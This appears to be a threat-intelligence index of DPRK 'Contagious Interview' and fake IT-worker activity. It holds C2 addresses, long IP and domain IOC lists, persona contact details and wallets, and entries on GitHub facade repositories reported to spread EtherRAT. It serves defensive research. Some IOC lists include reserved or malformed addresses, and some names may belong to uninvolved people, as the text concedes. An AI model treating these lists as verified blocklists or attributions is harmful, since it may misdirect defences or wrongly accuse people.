single graph we could walk. The Starting Point The investigation began with two IPs flagged in an InvisibleFerret IOC report: 95.216.37.186 (Hetzner, Finland) and 95.164.17.24 (TheHosting/WorkTitans, Netherlands).…","…Here's what I found it capable of: Command & Control Infrastructure: Primary C2 server: 95.216.37.186:5000 Real-time bidirectional communication via Socket.IO WebSocket connections to /client endpoint Multiple HTTP endpoints for…","…– C2 #5 http://45.61.165.45:1224 – C2 #6 http://45.61.150.67:1224 – C2 backup http://135.181.123.177 – C2 WebSocket #1 http://95.216.46.218 – C2 WebSocket #2 https://api.npoint.io/e5a5e32cdf9bfe7d2386 – C2 axios request SHA256 hash of the decrypted cloud-binary and cloudmedia…","…192.0.0.9 49.1.1.1 198.18.0.0 224.0.0.251 192.0.0.170 1.3.132.0 255.255.255.255 240.0.0.0 192.88.99.0 192.0.2.0 192.175.48.0 69.197.164.135 95.216.64.240 198.23.251.121 192.3.204.226 172.245.142.35 173.208.160.45 107.189.11.54 13.112.233.199 45.32.176.234 122.224.9.67 45.58.116.102 6.0.6.0 14…","…8 91.198.66.112 91.198.66.158 91.92.120.135 93.127.134.237 94.131.97.195 94.131.9.32 94.232.247.192 95.164.17.24 95.164.33.66 95.164.45.239 95.217.124.253 angeloperonline.online lianxinxiao.com sageskills-uk.com www.dalas.nl 146.70.253.107 141.98.168.79 69.10.53.86 60.93.32.117 103.35.188.237…","…Sep-25 Rhadamanthys Stealer 166.88.117.240 Sep-25 Remcos 23.27.124.91 Sep-25 Remcos 156.227.0.60 Sep-25 Rhadamanthys Stealer 96.126.191.167 Sep-25 Xworm 108.165.147.181 Sep-25 SuperShell C2 216.173.65.45 Sep-25 Remcos 166.88.194.123 Aug-25 Cobalt Strike (Watermark: 0)…","…77.247.126.189 Used for Validin account registration 89.19.58.51 Used for account registration and logging into Validin 96.62.127.126 Used for account registration and logging into Validin Contagious Interview Domains…","…252.178.213 49.1.9.16 13.231.238.12 124.217.252.62 18.179.111.240 141.255.147.215 185.70.184.39 164.155.255.81 51.254.25.115 174.133.72.250 97.0.1.80 188.213.167.248 122.224.9.113 212.192.241.203 211.167.73.23 101.115.99.97 1.1.5.0 216.170.114.67 66.42.63.27 143.202.163.165 1.0.0.109 67.2…","…115.47.49.181 42.51.155.153 45.93.201.62 65.98.83.115 54.237.176.95 58.65.239.124 185.244.25.155 91.92.252.146 5.39.217.221 194.178.112.202 98.126.208.83 31.214.157.170 95.211.153.103 195.225.176.69 91.211.17.201 08.178.42.114 194.195.209.88 212.192.241.94 192.3.22.5 21.12.170.42 20.206.200.9…","…AstrillVPN (US) 74.63.233.50 46475 Limestone Networks AstrillVPN (US) 98.179.96.75 22773 Cox Communications (US) URLs URL https://daniel-ayala.netlify.app…","…” in “ Famous Chollima .” Until next time (we know it’ll happen again). IOCs URL:https://linkedin.com/in/sebastian-tamayo-pro URL:https://www.klimbup.com/perfiles/sebastian-tamayo 9 Share Previous Next Top Latest No posts Ready for more? Subscribe © 2026 Bitso ·…","…The persona’s profiles on freelancer websites include: https://remoteok.com/@karlchong https://laborx.com/freelancers/users/id100369 https://www.remotehub.com/karl.chong https://www.xing.com/profile/Karl_Chong To obtain the…","…github.com/rustumatizon • [Archive](https://archive.ph/KLBYw) - t.me/QuinnDuck - https://quinn-lee.netlify.app/ - https://laborx.com/freelancers/users/id126269 - 0xf9adac8658e08893fb4e91c1062e471eb11cb6c7 (T) - 0x9de5d3158b0b83e9211c7444c94ce0c53763f574 #### Ryuhei Matsuda - Q12024, [Zach's…","…Websites: https://www.guru.com/freelancers/derekgamedev/portfolio https://www.fiverr.com/derekmiller03 https://laborx.com/freelancers/users/id328992 Other: https://www.youtube.com/@DerekMiller-h8m https://twitter.com/DerekMillerDev https://derekgamedev.com Personas: Derek Miller Xiao…","…https://derekgamedev.com - https://www.guru.com/freelancers/derekgamedev/portfolio - https://www.fiverr.com/derekmiller03 - https://laborx.com/freelancers/users/id328992 - https://www.youtube.com/@DerekMiller-h8m - ![](./X_2025-11-22_DerekMillerDev.png) #### Xiao He - Xiao He - He Shawn - Peter Zhou -…","…github.com/oracle071 • [Archive](https://web.archive.org/web/20250827061313/https://github.com/oracle071) - linkedin.com/in/aldinosaputra/ - smartpuck111@gmail.com - +6285732172769 - freelancer.com/u/spectrecoder - t.me/zerox_toml (ID: 8098234150 name: Zerox) -…","…I think I mislabelled our subjects in this article. IOCs URL:https://www.linkedin.com/in/alfredo-solares-garcia/ URL:https://www.linkedin.com/in/mateo-jimenez-aaa304379/ 6 Share Previous Next Top Latest No…","…github.com/andersonlee111 - github.com/smartdev0725 - linkedin.com/in/anderson-lee-9550381a5 - linkedin.com/in/anderson-lee-0130801a3 - cetbdb23@gmail.com - firly.larly0430@gmail.com - aleson092325@gmail.com - 0x541fb82d870D6287A9553920A72EDeB0e9877d57 -…","…github.com/andersonlee111 - github.com/smartdev0725 - linkedin.com/in/anderson-lee-9550381a5 - linkedin.com/in/anderson-lee-0130801a3 - cetbdb23@gmail.com - firly.larly0430@gmail.com - aleson092325@gmail.com -…","…https://www.linkedin.com/in/jay-software-lead/ https://www.linkedin.com/in/andrew-christopher/ https://medium.com/@apollo000104 https://medium.com/@applekevin10141106 https://codesandbox.io/u/apple.star0072 https://yhype.me/github/@br…","…LINKS =========== https://www.linkedin.com/in/jay-software-lead/ https://www.linkedin.com/in/andrew-christopher/ https://medium.com/@apollo000104 https://medium.com/@applekevin10141106 https://codesandbox.io/u/apple.star0072 https://yhype.me/github/@br…","…![](./anderson-lee-1.jpg) #### Andy Cho / Anderson Lee - eweubr3289 - hashbirdcho - rango527 - eweubr3289@gmail.com - https://www.linkedin.com/in/andy-cho-6ba380309/ - https://t.me/hashbirdcho - https://t.me/rango527 - 0xD85e7eB377635517eBA5310591F68F4771Da9523 - Payroll -…","…andyhoglet - andy-hoog - andyhoogup - T077 - andyhoogup@gmail.com - github.com/toparc077 • [Archive](https://archive.ph/7lbnH) - linkedin.com/in/andy-hoog/ - x.com/andyhoglet - 0x1043efee936903951b88db23551873bb67292e95 - ![](./X_2025-11-22_andyhoglet.png) -…","…(Name: 0x A.K.) • [Archive](https://web.archive.org/web/20221130173129/https://github.com/bejaxer) - t.me/lcoppn (ID:749123222) - linkedin.com/in/anthony-keller-022486183/ - 0x4717Af66032b1Dbc35d9b1182F9240994A11bf01 - 0x482C9f85644f1686C490D38291511657da767e61…","…ivanyanch19891111@gmail.com shyam6191@gmail.com Socials: --------------------------------- https://www.linkedin.com/in/yin-xing-50b95b186 https://www.linkedin.com/in/bill-oneil-1b24a81a9 https://hk.linkedin.com/in/yinxing-gao-7b4471189 Freelance…","…Skype live:.cid.ffe8d0454926464f - https://linkedin.com/in/promise-law - https://pl.linkedin.com/in/marcin-iwanski-b699b02b8 - https://www.linkedin.com/in/brent-jeremy-47172b22a/ - https://www.linkedin.com/in/brent-jeremy/ - https://www.linkedin.com/in/liguo-ma-060077205 -…","…Websites: https://linkedin.com/in/promise-law https://pl.linkedin.com/in/marcin-iwanski-b699b02b8 https://www.linkedin.com/in/brent-jeremy-47172b22a/ https://www.linkedin.com/in/brent-jeremy/ https://www.linkedin.com/in/liguo-ma-060077205 https://torre.ai/brentjeremynel?r=GLXbkZCc https:/…","…https://pl.linkedin.com/in/marcin-iwanski-b699b02b8 - https://www.linkedin.com/in/brent-jeremy-47172b22a/ - https://www.linkedin.com/in/brent-jeremy/ - https://www.linkedin.com/in/liguo-ma-060077205 - https://torre.ai/brentjeremynel?r=GLXbkZCc -…","…https://linkedin.com/in/promise-law https://pl.linkedin.com/in/marcin-iwanski-b699b02b8 https://www.linkedin.com/in/brent-jeremy-47172b22a/ https://www.linkedin.com/in/brent-jeremy/ https://www.linkedin.com/in/liguo-ma-060077205 https://torre.ai/brentjeremynel?r=GLXbkZCc https://www.guru.com/freelancers/brent-jeremy htt…","…Credbull - ChaiSomsri96 - George Capraroiu - george19871205 - x.com/chaisomsri96 - x.com/TickyCrypto - medium.com/@chaisomsri96 - linkedin.com/in/chai-somsri - github.com/ChaiSomsri96 • [Archive](https://archive.ph/eRFnu) - t.me/chaisomsri (ID: 7022528006) - chaisomsri96@gmail.com -…","…Jiro Matsumoto / codeninja819 - Tokyo, JP - codeninja819 - jiromatsumoto98@gmail.com - linkedin.com/in/codeninja819 - github.com/codeninja819 - t.me/codeninja819_eth (ID: 6418622184) • ([Messages](./user-6418622184-@codeninja819_eth.txt)) -…","…![](./1934285777699230194-2.png) #### Dennis DelRosario - github.com/phoenixdevguru - t.me/phoenixdevguru - linkedin.com/in/dennis-delrosario-8ba062222/ - https://x.com/browsercookies/status/1934285777699230194 - ![](./1934285777699230194-3.png) #### Hayato Suzuki - t.me/WebTalent0123…","…the following contact information: Name: Dmytro Vivsuk Email: dmytroviv1@gmail.com Phone number: +380 95 676 27 42 LinkedIn: https://www.linkedin.com/in/dmytro-vivsuk-a568242b6/ (leads to a 404, likely banned profile) Assessment Based on our observations, the threat actor started developing this campaign in…","…![](./bram-chen-2.png) - ![](./bram-chen.png) #### Eric Low - Q12024 - Arkned - wooark - wootark.soft - https://www.linkedin.com/in/eric-low-a5795033b/ - 0x954f20665bcccf58587b49ffee2e593c19c79267 (T) #### Gabriel Yiu - 2024, [Zach's…","…Jin Gabriel Rodrigues de Souza Volodymyr Yakubovskyi Emails: goldsea808@gmail.com goldsea808@yahoo.com ddksniper@gmail.com Sites: linkedin.com/in/hailong-jin-906375118 facebook.com/profile.php?id=100083340646764 youtube.com/@jackddk7187 global808.wixsite.com our-dream-technologies.vercel.app intellichain5…","…Hiroto Iwaki / Taku Yamamoto / Iwaki Hiroto - mymiracle0118 - iwakihiroto - noahsflood908 - noahsflood908@gmail.com - linkedin.com/in/hiroto-iwaki-54b207306 - github.com/mymiracle0118 • [Archive](https://web.archive.org/web/20240115053832/https://github.com/mymiracle0118) -…","…URL:https://github.com/ghost URL:https://calendly.com/7codewizard/30min URL:https://jackson-portfolio.vercel.app URL:https://www.linkedin.com/in/jackson-kidd-1680b2339/ URL:https://us.bold.pro/my/jaron-gaston-241007104612 Email:kamaunjoroge296@gmail.com Email:jacksonkidd216@gmail.com Behavioural &…","…github.com/altbee • [Archive](https://web.archive.org/web/20220625174754/https://github.com/altbee) - zerobit417@gmail.com - linkedin.com/in/james-lee-0977a0217 - linkedin.com/in/justin-lim-14664a324/ - https://www.cake.me/me/james-lee-319683/ - https://stack.money/asset/byteball -…","LinkedIn account whose profile content is copied from another existing LinkedIn account, a reuse pattern consistent with the fabricated professional identities DPRK IT workers build to apply for remote engineering roles. Identified through first-party review of suspected fake LinkedIn profiles rather than from published reporting, so it is recorded as a screening lead and not as an attributed persona.","Read under an authenticated session on 21 September 2026. This site had held the address since 30 August 2026 as a screening lead, recorded only as an account whose profile content is copied from another member's, and this observation adds what the account itself says. It presents as Jan Garwol, Senior Software Engineer at Boston Consulting Group, located simply as Poland, open to senior, full-stack, back-end and AI engineering roles, with 37 connections and 37 followers and no posts. The experience section runs Deputy as Software Engineer from July 2014 to January 2018, Airwallex as Full Stack Engineer from April 2018 to August 2022, and BCG from September 2022, marked Remote, with a University of Sydney education: three Australian employers and an Australian university on an account placed in Poland under a Polish name. The About this member panel gives Joined LinkedIn April 2026, contact details and profile photograph both changed within the last six months, and no verifications, so an account five months old carries twelve years of employment. The profile photograph is a photograph of a young East Asian man in glasses inside the open-to-work ring. LinkedIn's own recommendation rail beside the account lists a second Jan Garwol, a Senior Software Engineer at SoftServe, a Ukrainian-founded consultancy with Polish offices, under a different photograph; that is the long-established account this one's name and role appear to be taken from, and the name may belong to that person, who has no part in the operation. Nothing on the account is shared with any persona this site holds, so it stays a lead rather than a persona.","…melonman913@gmail.com - github.com/0xtomoon • [Archive](https://web.archive.org/web/20250516070156/https://github.com/0xtomoon) - linkedin.com/in/janul-azwan-7b1612361/ - immunefi.com/profile/ethprotector/ - t.me/janbuidl (ID:7245484067) •…","…https://www.linkedin.com/in/jay-software-lead/ https://www.linkedin.com/in/andrew-christopher/ https://medium.com/@apollo000104 https://medium.com/@applekevin10141106 https://codesandbox…","…LINKS =========== https://www.linkedin.com/in/jay-software-lead/ https://www.linkedin.com/in/andrew-christopher/ https://medium.com/@apollo000104 https://medium.com/@applekevin10141106 https://codesandbox…","…github.com/zenggang315 - github.com/sasuke031026 - github.com/sasuke1026 - github.com/sasukeuchiha - t.me/newstabled - linkedin.com/in/jaycee-tran-a2873230b/ - Discord: newstable - live:.cid.f4e6d1509205ccdd #### SirBang / Derek Miller - Derek Miller - SirBang -…","…Websites: https://www.linkedin.com/in/jaycee-tran-a2873230b/ Personas: Jaycee Tran Sasuke Uchiha SirBang (Derek…","…Public IOCs URL:https://linkedin.com/in/jesus-sebastian/ 3 Share Previous Next Top Latest No posts Ready for more? Subscribe © 2026 Bitso ·…","…Public IOCs URL:https://linkedin.com/in/jesus-sebastian/ 3 Share Previous Next Top Latest Discussions No posts Ready for more? Subscribe © 2026…","…Public IOCs URL:https://linkedin.com/in/jesus-sebastian/ 3 Share Previous Next Top Latest Discussions Ready for more? Subscribe © 2026 Bitso ·…","…matter.\" - altpl - jikun - jliao - peezenut - jikun@mygameswap.com - jliao@mygameswap.com - peezenut@gmail.com - t.me/altpl - linkedin.com/in/jikun-liao-794b61162/ - https://vk.com/id578519076 [Archive](https://archive.ph/SWt2n) - https://rocketreach.co/jikun-liao-email_233286867 -…","…Sadao Murano jwtradera@outlook.com (Naoki Cross Whoopsies) - David Lucas github.com/davidlucas0402 davidlucas0402@outlook.com - linkedin.com/in/john-wilhelmsson-17b3a0219 - Hello everyone! I'm new to this group.…","…![](./1934283069101674814-2.png) #### Joseph Anderson - devlancer412 - devanderson0412 - linkedin.com/in/joseph-anderson-01b421244/ - https://x.com/browsercookies/status/1934283069101674814 - ![](./1934283069101674814-3.png) #### Kell Daniel - x.com/CryptoFist -…","…IOCs URL:https://www.linkedin.com/in/julian-mendez-working0628/ Yes, the profile URL says “- working ”.…","…zerobit417@gmail.com - linkedin.com/in/james-lee-0977a0217 - linkedin.com/in/justin-lim-14664a324/ - https://www.cake.me/me/james-lee-319683/ - https://stack.money/asset/byteball - **/altbee:** - Old Username: liaojikunwork -…","…t.me/CryptoFist1002 (ID: 5000783370) • ([Messages](./user-5000783370-@CryptoFist1002.txt)) - linkedin.com/in/kell-daniel-964a49245 - https://x.com/browsercookies/status/1934283069101674814 - ![](./1934283069101674814-4.png) - ![](./X_2025-11-22_CryptoFist.png) ####…","…defunct 4 +86-130-1980-4700 Chinese phone number used by Chong Ryu Song Held under the name of Tan Ranran ( 潭冉冉 ) 5 www.linkedin.com/in/lai-we-wang-ba355a1a2 LinkedIn profile used by Chon Kwon Uk Currently defunct 6 top522816(ID : Zhong) Telegram account used by Chon Kwon Uk…","…account used by Chong Ryu Song - +86-130-1980-4700 Chinese phone number used by Chong Ryu Song Held under the name of Tan Ranran (潭冉冉) - www.linkedin.com/in/lai-wewang-ba355a1a2 LinkedIn profile used by Chon Kwon Uk - top522816(ID : Zhong) Telegram account used by Chon Kwon Uk - 86-186-4155-7481 Chinese phone…","…• [Archive](https://web.archive.org/web/20230513202311/https://github.com/light-fury) - medium.com/@leech.developer - linkedin.com/in/lee-chien-hui-50b157157/ - leech.developer@gmail.com - ddpuppy42@yahoo.com - 0xfcd4e8c84afd221d3b8c9c8c374a7784b314d230 (T) -…","…il.com sadah12290@gmail.com leoxtechdev@gmail.com goldenharvestmidas@gmail.com Sites: marogus211.wixsite.com youtube.com/@liberathachannel linkedin.com/in/lian-hung-129b47158 smart.5starlink.online facebook.com/LeoXTech IPs: 102.215.28.11 Hailong Jin: ---------------------------------------- Personas: Hailong…","…https://www.linkedin.com/in/brent-jeremy-47172b22a/ - https://www.linkedin.com/in/brent-jeremy/ - https://www.linkedin.com/in/liguo-ma-060077205 - https://torre.ai/brentjeremynel?r=GLXbkZCc - https://www.guru.com/freelancers/brent-jeremy - https://web3.career/@marcin ####…","…//pl.linkedin.com/in/marcin-iwanski-b699b02b8 https://www.linkedin.com/in/brent-jeremy-47172b22a/ https://www.linkedin.com/in/brent-jeremy/ https://www.linkedin.com/in/liguo-ma-060077205 https://torre.ai/brentjeremynel?r=GLXbkZCc https://www.guru.com/freelancers/brent-jeremy https://web3.career/@marcin Personas: Brent…","…zhChameleon - Baymaxic - bitbaby888 - imyugioh - zhExcal - 0xlocker - ethlocker - raptor1001 - x.com/0xchamel - x.com/zhExcal - linkedin.com/in/lmauro77 - github.com/0xchamel - github.com/0xllaCh • [Archive](https://web.archive.org/web/20250827054938/https://github.com/0xllaCh) -…","…![](./1934280908103884850-1.png) #### Louise Egan - x.com/PinnacleFTSO - t.me/pacle002 - github.com/Brilliantwebdev1125 (404/down) - linkedin.com/in/louis-egan/ (404/down) - https://x.com/browsercookies/status/1934280908103884850 - ![](./1934280908103884850-2.png) -…","…Hades255’s update for “Luis Carlos” Luis Carlos is a person we have seen working for BlockNovas LLC on LinkedIn: LinkedIn profile: linkedin.com/in/luis-lopeznoguera-colombia/en of BlockNovas LLC employee Luis Carlos Our researchers found that Luis Carlos also added stars four times to a project of Hades255,…","…platforms: https://www.fiverr.com/vincenzagiorgi6/make-meme-coin-tax-token-presale-staking-pumpfun-on-ethereum-base-solana-ton https://ua.linkedin.com/in/maksym-poplavskyi-337b782bb [deleted 2 months ago] vincenzagiorgi6@gmail.com : V0410 There are more significant connections between few other distant…","…Discord Talented Blockchain#3570 - Skype live:.cid.ffe8d0454926464f - https://linkedin.com/in/promise-law - https://pl.linkedin.com/in/marcin-iwanski-b699b02b8 - https://www.linkedin.com/in/brent-jeremy-47172b22a/ - https://www.linkedin.com/in/brent-jeremy/ -…","…Blockchain#3570 Skype: live:.cid.ffe8d0454926464f Hiring Websites: https://linkedin.com/in/promise-law https://pl.linkedin.com/in/marcin-iwanski-b699b02b8 https://www.linkedin.com/in/brent-jeremy-47172b22a/ https://www.linkedin.com/in/brent-jeremy/ https://www.linkedin.com/in/liguo-ma-06007720…","…I think I mislabelled our subjects in this article. IOCs URL:https://www.linkedin.com/in/alfredo-solares-garcia/ URL:https://www.linkedin.com/in/mateo-jimenez-aaa304379/ 6 Share Previous Next Top Latest No posts Ready for more? Subscribe © 2026 Bitso ·…","LinkedIn account identified through first-party review of suspected fabricated IT-worker personas, and linked by that review to the address orozcomatthew692@gmail.com. The two are recorded as one identity on that basis; no public reporting names either, so the pairing is this site's own observation rather than a published finding.","…check, and clears a video interview using AI-driven deepfake filters, they are into your system. Suspected fake persona: Mehmet Demir https://linkedin.com/in/mehmet-demir-godev Backend Developer | Golang, Python Once onboarded, your logs show a “local” employee.…","…Fake Persona: Mehmet Demir The first profile that stands out as fake is the “Backend Developer” Mehmet Demir. Mehmet Demir https://linkedin.com/in/mehmet-demir-godev Backend Developer | Golang, Python When viewing the profile photo, several signs indicate that the picture is AI-generated, including…","…Linkedin https://www.linkedin.com/in/sales-hatotsusin-67a2031ab/?originalSubdomain=ru Michael Pantong, listed in Khabarovsk, Russia https://www.linkedin.com/in/michael-pantong-2a8a89188/?originalSubdomain=ru Made-in-China.com lists Hato Tsusin as a Chinese company, naming “Mr.…","…Also shares a profile picture with the Twitter account https://www.linkedin.com/in/mizutani-jun-5b0433168/ Sales Hatotsusin, operating out of Liski, Voronezh, Russia.…","…around the suspicious activity on GitHub began with this account: Onder kayabsi Press enter or click to view image in full size https://www.linkedin.com/in/onder-kayabasi-772a33302/ After reviewing the profile, we noticed several inconsistencies across the individual’s history, profiles, and activity: Press enter…","…(2024) - grudev325 - sr.paul.song@gmail.com - seniordev1225@gmail.com - t.me/grudev325 - seniordev - remoteok.com/@seniordev - linkedin.com/in/paul-song-225505224/ - paul-song-cv.herokuapp.com #### Paul Martin / cryptopunk / gru1125 - Pixelcraft (2022) - cryptopunk - paulmartin.io -…","…Peter Wang - 2025 - petherwang@gmail.com - github.com/hapetherw - x.com/hapetherw - linkedin.com/in/peter-wang-780259a3 - t.me/pethercap (ID: 2124964775, prev: @baymax586) - 0x74bc47ea5201a61c7c9a366bb62ecae2713602a1 #### Chai Somsri - 2024, 2025,…","…5874346391) • ([Messages](./user-5874346391-@trust0205.txt)) - Discord Talented Blockchain#3570 - Skype live:.cid.ffe8d0454926464f - https://linkedin.com/in/promise-law - https://pl.linkedin.com/in/marcin-iwanski-b699b02b8 - https://www.linkedin.com/in/brent-jeremy-47172b22a/ -…","…Blockchain#3570 Skype: live:.cid.ffe8d0454926464f Hiring Websites: https://linkedin.com/in/promise-law https://pl.linkedin.com/in/marcin-iwanski-b699b02b8 https://www.linkedin.com/in/brent-jeremy-47172b22a/ https://www.linkedin.com/in/brent-j…","…Finance, Raze Network, Sandclock, Shardeum, Paid Network, Hyperionx - ryuhei.eth - ryuheimat - ryuheimat3 - ryuheimat3@gmail.com - linkedin.com/in/ryuhei-matsuda - github.com/ryuheimat • [Archive](https://archive.ph/V5GsZ) - github.com/mono300genuine • [Archive](https://archive.ph/wip/Am9Cr) -…","…Potentially with a picture of Tibet in the header image of their Linkedin https://www.linkedin.com/in/sales-hatotsusin-67a2031ab/?originalSubdomain=ru Michael Pantong, listed in Khabarovsk, Russia https://www.linkedin.com/in/michael-pantong-2a8a89188/?originalSubdomain=ru…","…github.com/bizmindx #### Sam Ayorinde - TheBlockOfChain - ayorindesam2 - Sam-Devs - _SamAyorinde - ayorindesam2@gmail.com - linkedin.com/in/sam-ayorinde-3b1b9a151/ - github.com/Sam-Devs • [Archive](https://web.archive.org/web/20250406052701/https://github.com/bizmindx) - x.com/_SamAyorinde -…","…github.com/breavedev - github.com/nevermindhim - github.com/verytinydever - linkedin.com/in/scott-brown-b947ba29a - linkedin.com/in/scott-brown-813445279 - dev.to/scott_brown_b611d05a865cf - www.impaxrecruitment.com/wp-content/uploads/elementor/forms/6786f200b23aa.pdf -…","…what.a.fabulous1@gmail.com - sct.brown0629@gmail.com - github.com/breavedev - github.com/nevermindhim - github.com/verytinydever - linkedin.com/in/scott-brown-b947ba29a - linkedin.com/in/scott-brown-813445279 - dev.to/scott_brown_b611d05a865cf -…","…We put the “ Famous ” in “ Famous Chollima .” Until next time (we know it’ll happen again). IOCs URL:https://linkedin.com/in/sebastian-tamayo-pro URL:https://www.klimbup.com/perfiles/sebastian-tamayo 9 Share Previous Next Top Latest No posts Ready…","…Email 2: mitsurukudo213@gmail.com * Email 3: steven0822.dev@gmail.com * Twitter: https://x.com/steven228312 * LinkedIn: https://www.linkedin.com/in/steven-leal-183252338/ * Instagram: instagram.com/steven228312 * Phone: +1 (470) 621 2757 ----------------- ### Sebastian Robinson * GitHub:…","…![](./1934288397339877730.png) #### TechWizAI - github.com/TopETH - t.me/supernathanliu (ID: 1677260011) - linkedin.com/in/techwhizai (404) - https://x.com/browsercookies/status/1934290466054553751 - ![](./1934290466054553751-1.png) #### Phillip Masaki -…","…github.com/bullishgopher • [Archive](https://web.archive.org/web/20231205224337/https://github.com/bullishgopher) - https://linkedin.com/in/tkcong/ (https://x.com/bullishgopher/status/1272680031681155074) - https://web3.career/@bullishgopher -…","…Signer on Safe 0x0f4 #### Victor Hazard - vihazard430@gmail.com - hazardvictor@hotmail.com - linkedin.com/in/victor-hazard-77ba40305 - github.com/black02430horse - github.com/hazardvictor - happy3guy@gmail.com - victordev67@gmail.com -…","…a1995dev@outlook.com ivanyanhrach1995@gmail.com ivanyanch19891111@gmail.com shyam6191@gmail.com Socials: --------------------------------- https://www.linkedin.com/in/yin-xing-50b95b186 https://www.linkedin.com/in/bill-oneil-1b24a81a9 https://hk.linkedin.com/in/yinxing-gao-7b4471189 Freelance…","…Socials: --------------------------------- https://www.linkedin.com/in/yin-xing-50b95b186 https://www.linkedin.com/in/bill-oneil-1b24a81a9 https://hk.linkedin.com/in/yinxing-gao-7b4471189 Freelance…","…x.com/codeninja819 - calendly.com/codeninja819 - stackoverflow.com/users/21336694/codeninja819 - linktr.ee/codeninja819 - ![](./X_2025-11-22_codeninja819.jpg) - ![](./X_2026-04-06_codeninja819.png) #### krippsat - ![](./X_2025-11-22_krippsat.jpg) ####…","GitHub facade repository Atos lists as spoofing Kusto Explorer to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing Windows ADK to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub repository hosting the malicious Go module github.com/aokisasakidev/mit-license-pkg, part of the April 2026 cross-ecosystem Contagious Interview wave Socket reported. Recorded as owner/repository, the same form as the PolinRider list.","GitHub facade repository Atos lists as spoofing AppLocker to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing Autologon to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing AzCopy to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing BarTender to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing Beyond Compare to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","Bitbucket repository Socket identified as a Contagious Interview lure in the June 2025 HexEval wave: a coding-assessment project sent to a targeted developer, whose dependencies pulled the malicious npm packages. Recorded as host/owner/repository because the site's repository type is GitHub-shaped.","Bitbucket workspace Socket listed among the Contagious Interview lure repositories in the June 2025 HexEval wave: coding-assessment projects sent to targeted developers, whose dependencies pulled the malicious npm packages. Recorded as host/owner because the site's repository type is GitHub-shaped.","GitHub facade repository Atos lists as spoofing Bitvise SSH Client to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing Autoruns to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing Process Monitor to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing Dameware to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing DebugView to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing Delprof2 to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing LEAP Desktop to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing NSSM (Non-Sucking Service Manager) to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing FSLogix to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing ScreenConnect Client to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub repository hosting the malicious Go module github.com/golangorg/formstash, part of the April 2026 cross-ecosystem Contagious Interview wave Socket reported. Recorded as owner/repository, the same form as the PolinRider list.","GitHub facade repository Atos lists as spoofing IIS Crypto to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary 